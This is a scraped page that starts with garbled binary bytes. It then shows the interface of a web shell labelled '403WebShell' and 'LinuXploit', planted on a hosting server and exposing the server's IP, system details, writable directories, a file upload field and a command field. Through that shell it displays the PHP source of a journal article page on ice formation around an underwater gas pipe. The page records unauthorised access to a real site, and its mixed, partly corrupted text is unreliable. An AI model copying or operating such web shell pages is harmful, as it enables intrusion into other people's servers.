�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 132.148.112.237  /  Your IP : 216.73.216.191
Web Server : Apache
System : Linux p3plmcpnl497166.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : m483e053zf9r ( 10082050)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/IJPR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/IJPR/ijpr-1000125.php
<?php
$extpath="../";
include 'includes/jrnheader.php';
include 'includes/jrnleft-panel.php';
//$imgpath=""; ?>
<div class="col-md-9 padding-top-15">
<section class="post">
<div class="row">
<div class="col-md-12">
<div class="articledetails article-header clearfix">
<p class="art-type">Short Communication Article</p>
<p class="art-title">Simulation of ice formation on the gas transfer tube
surrounded by a water medium
</p>
<p class="art-author"><?php $authors="Marinyuk Boris<sup>*</sup>, Leontev Andrey and Zabugina Anna"; echo (stristr($authors,$coauthor))?str_replace($coauthor,"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>",$authors):$authors; ?></p>
<p class="art-affl">
Department of Low Temperatures Engineering named by P.L.Kapitsa, Moscow Politechnic University, Russia
</p>
<p class="art-aff"><b>*Corresponding author: <?php $corresponding_author="Marinyuk Boris"; echo ($coauthor!="" && $coauthor==$corresponding_author)?"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>":$corresponding_author;?></b>, Department of Low Temperatures Engineering, Moscow Politechnic University, Russia, E-mail: <a href="mailto:marinyukb@yandex.ru">marinyukb@yandex.ru</a>
</p>
<p class="art-aff"><b>Received:</b> May 29, 2018
<b>Accepted:</b> June 13, 2018
<b>Published:</b> June 18, 2018</p>
<p class="art-aff"><b>Citation: </b> Boris M, Andre L, Anna Z. Simulation
of ice formation on the gas transfer tube
surrounded by a water medium. <i>Int J Petrochem Res.</i> 2018; 2(1): 148-149. doi: <a href="https://doi.org/10.18689/ijpr-1000125">10.18689/ijpr-1000125</a></p>
<p class="art-aff"><b>Copyright:</b> &copy; 2018 The Author(s). This work
is licensed under a Creative Commons
Attribution 4.0 International License, which
permits unrestricted use, distribution, and
reproduction in any medium, provided the
original work is properly cited.</p>
<p><a href="<?php echo $extpath;?><?php echo $jres['journal_link'];?>/ijpr-1000125.pdf" class="btn btn-danger pull-right" target="_blank">Download PDF</a></p>
</div>
<div class="articlecontent">
<p class="art-subhead">Abstract</p>
<p class="art-para">The growth rate of ice layer on a surface of the long tube immersed within water
medium and containing cold gas flow is considered.</p>
<p class="art-para">It was determined the layer thickness of ice forming along the tube surface as
function of gas follow rate and its initial temperature. The temperature of water medium
is above zero.</p>
<p class="art-para"><b>Keywords:</b> Water ice, heat transfer coefficient, mass gas flow rate, ice thickness, ready made solution, water medium.</p>
<p class="art-subhead">Introduction</p>
<p class="art-para">The math model of heat and mass transfer process under formation water ice on the
surface of the tube wall is suggested.</p>
<p class="art-para">The task is actual for under water works, connected with natural gas, transferred
within tube crossing water barriers in winter.</p>
<p class="art-subhead">Theory</p>
<p class="art-para">Let it consider the tube being cooled inside by natural gas, having low temperature
t<sub>s</sub>
= -45&deg;C, water temperature T<sub>w</sub>&deg;C has positive level of temperature, its flow velocity
don&#700;t exceed 1 m/s, heat transfer from the side of natural gas is known &alpha;<sub>s</sub> &alpha;<sub>s</sub> = 300W/m<sup>2</sup>
s. The tube has no insulation protection, the tube radius is given0,5m, mass flow rate of the gas G<sub>s</sub> is 7,7 10<sup>5</sup> kg/s.</p>
<p class="art-para">The heat balance differential equation can be expressed in the form</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/IJPR-125-eq1.PNG" class="img-responsive center-block"/></div>
<p class="art-para">C<sub>ps</sub> &#8211; specific heat accumulation of gas, Dj/kgK</p>
<p class="art-para">T<sub>s</sub>
in, T<sub>s</sub> &#8211; initial and current temperatures of natural gas glow, K, T<sub>s</sub>
in =228K</p>
<p class="art-para">dl &#8211; elementary tube length, m</p>
<p class="art-para">&alpha;<sub>w</sub>; &#8211; heat transfer from the side of water, &alpha;<sub>w</sub>; = 150W/m<sup>2</sup>s</p>
<p class="art-para">G<sub>s</sub> &#8211; mass rate of natural gas, pumping inside the tube, kg/s</p>
<p class="art-para">&delta; &#8211; ice thickness, m</p>
<p class="art-para">&lambda; &#8211; heat conductivity of ice, W/mK <a href="#1">[1]</a></p>
<p class="art-para">D &#8211; the tube diameter, m</p>
<p class="art-para">The aim of this model is to find temperature of gas and
ice layer thickness as function of the tube length. To get the
result, it is necessary to draw ready made solution, which was
made earlier for a case when ice thickness was determined for
a flat plate put in to water medium <a href="#2">[2]</a></p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/IJPR-125-eq2.PNG" class="img-responsive center-block"/></div>
<p class="art-para">where Tf  &#8211; temperature of phase changed Tf
 = 273K<br>
L &#8211; heat of phase changes (freezing of water into ice), L=334 103<br>
Dj/kg
&rho; &#8211; ice density, kg/m<sup>w3</sup></p>
<p class="art-para">If ice thickness is small enough in compare with tube radius, the use of equation (2) justified.</p>
<p class="art-para">The joint solution of two equations gives the values of the
required parameters T<sub>s</sub>
 and &delta;.</p>
<p class="art-para">For a long termexploitation of the tube it is of a an interest to
estimate maximum ice layer thickness for a certain conditions, this can be described by a stationary &#8211; type equation.</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/IJPR-125-eq3.PNG" class="img-responsive center-block"/></div>
<p class="art-para">Where T<sub>w</sub> &#8211; water temperature, T<sub>w</sub> =277K
T<sub>s</sub> &#8211; temperature of gas, T<sub>s</sub>
 =228K<br>
ql &#8211; density of the heat flux perm, W/m<br>
&alpha;<sub>s</sub> = 300W/m<sup>2</sup>K; &alpha;<sub>w</sub>; = 150 W/m<sup>2</sup>K<br>
Di &#8211; the diameter of the tube-ice composition, m</p>
<p class="art-para">The calculation results are presented on the Figure 1. The dotted line demonstrate the character of the ice layer
formation for a short period of the process. The solid line
gives maximum ice thickness, m</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/IJPR-125-figure1.PNG" class="img-responsive center-block"/></div>
<p class="art-subhead">Conclusion</p>
<ol class="art-para"><li> Math model was composed to predict ice layer thickness
and gas temperature along the length of the tube being
cold from inside by a low temperature gas.</li>
<li> The estimation of maximum ice layer thickness, on the
tube surface was made.</li>
<li> In winter conditions and a long term expluatation of the
tube line the thickness of ice layer forming on it may
reach the size compared with the tube radius.</li></ol>
<div style="clear:both">&nbsp;</div>
<p class="art-subhead">References</p>
 <ol>
<li class="ref"><div id="1">Dean JW, Timmerhaus KD. Thermal Conductivity of Solid O and O at
Low Temperatures. Adv. In Cryogen Engineering. 1963; 8: 263-267.</div></li>
<li class="ref"><div id="2">Marinyuk BT. The calculation of heat transfer in apparatus and the low
&#8211; temperature cooling systems. Mashinostroenie. Russia, 2015.</div></li>
</ol>   
</div>  
</div>
</div>
</section>
</div></div>
</div><!--end of row-->
</div><!--end of container-body-->
</div><!--end of content-area-->
<?php include 'includes/jrnfooter.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit